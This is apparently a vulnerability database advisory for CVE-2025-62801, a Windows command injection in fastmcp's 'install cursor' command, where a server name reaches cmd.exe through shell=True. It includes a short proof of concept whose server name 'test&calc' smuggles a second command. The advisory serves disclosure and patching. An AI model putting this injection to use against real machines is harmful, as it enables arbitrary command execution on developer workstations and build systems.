Vulnerability Database
296,853
Total vulnerabilities in the database
CVE-2025-62801
Summary
A command-injection vulnerability lets any attacker who can influence the server_name field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor
Details
- generate_cursor_deeplink(server_name, …) embeds server_name verbatim in a cursor://…?name= query string.
- open_deeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start <deeplink>.
- Any cmd metacharacter inside server_name (&, |, >, ^, …) escapes the start command and spawns an attacker-chosen process.
PoC
server.py
import random
from fastmcp import FastMCP
mcp = FastMCP(name="test&calc")
@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
"""Roll `n_dice` 6-sided dice and return the results."""
return [random.randint(1, 6) for _ in range(n_dice)]
if __name__ == "__main__":
mcp.run()
then run in the terminal:
fastmcp install cursor server.py
Impact
OS Command / Shell Injection (CWE-78) Every Windows host that runs fastmcp install cursor is at risk. Developers on their local workstations, CI/CD agents and corporate build machines alike.
| Software | From | Fixed in |
|---|---|---|
fastmcp
|
- | 2.13.0 |
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